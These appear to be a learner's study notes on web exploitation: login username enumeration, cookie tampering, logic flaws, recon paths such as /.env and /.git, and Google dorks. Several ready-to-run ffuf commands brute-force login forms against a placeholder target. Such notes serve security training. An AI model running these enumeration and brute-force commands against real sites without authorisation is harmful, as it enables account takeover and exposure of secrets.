Apps don't get hacked — their assumptions do.

web exploitation

Whenever you see "version number"
Your brain should go
— search exploit
— check CVE
— try payload.

Authentication Bypass

Workflow :

Find valid users → find valid credentials → exploit flawed logic in workflows

Username Enumeration

Different responses reveal valid users

Example:

- Invalid username
- Incorrect password
- Valid username = different response

username = ninja12
→ "Invalid username"

username = kai
→ "Incorrect passwd"

That means:

- kai EXISTS
- ninja12 DOES NOT

Password Brute Force

Use wordlists (user + password)
Filter normal responses

Example:

- Failed login → usually 200 → **-fc 200**
- Successful login → usually 302

```
ffuf -w passwords.txt \
-X POST \
-d
"username=admin&passw
ord=FUZZ" \
-H "Content-Type:
application/x-www-form-
urlencoded" \
-u http://target/login \
-fc 200
```

Cookie Manipulation

If the server trusts client-controlled cookies without validation, it leads to authentication bypass

Example:

- admin=false → admin=true
  (I lied and it worked lol)

Logic Flaw

Application behaves incorrectly due to poor logic in workflows

"The system is checking things... but in the wrong way"

Example: Password Reset Without Verification

App assumes something → attacker breaks that assumption

recon

robots.txt	Hidden/disallowed paths
sitemap.xml	List of site pages/endpoints (helps find hidden paths)
favicon.ico	Identify framework (hashing)
/.git	Source code exposure
/.env	Secrets (keys, creds)
/admin	Admin panel
/login	Login page

dorking

site:	Only search inside ONE website
site:*.domain.com - site:www.domain.com	
inurl:	site:target.com inurl:admin - Finds URLs containing "admin"
intitle:	intitle:admin - Finds pages with "admin" in the title

Find admin panels:

```
site:target.com inurl:admin
```

Find login pages:

```
site:target.com intitle:login
```

Find exposed PDFs:

```
site:target.com filetype:pdf
```

Find sensitive stuff:

```
site:target.com inurl:config
```

Basic Login

Brute Force (1 user)

```
ffuf -w passwords.txt \
-X POST \
-d
"username=admin&password=F
UZZ" \
-H "Content-Type: application/x-
www-form-urlencoded" \
-u http://target/login \
-fc 200
```

What this does:

tries many passwords for one username

hides failed logins (200)

shows success (e.g. 302)

Match success

instead of filtering

```
ffuf -w passwords.txt \
-X POST \
-d
"username=admin&password=F
UZZ" \
-H "Content-Type: application/x-
www-form-urlencoded" \
-u http://target/login \
-mc 302
```

What this does:

only shows successful logins (redirect)

Multi-wordlist

(user + password)

```
ffuf -w
users.txt:W1,passwords.txt:W2 \
-X POST \
-d
"username=W1&password=W2" \
-H "Content-Type: application/x-
www-form-urlencoded" \
-u http://target/login \
-fc 200
```

What this does:

tries all combinations

finds valid username + password pair

Username enumeration

(before brute force)

```
ffuf -w names.txt \
-X POST \
-d
"username=FUZZ&password=x"
\
-H "Content-Type: application/x-
www-form-urlencoded" \
-u http://target/login \
-mr "incorrect password"
```

Why?

finds valid usernames first

then you brute force passwords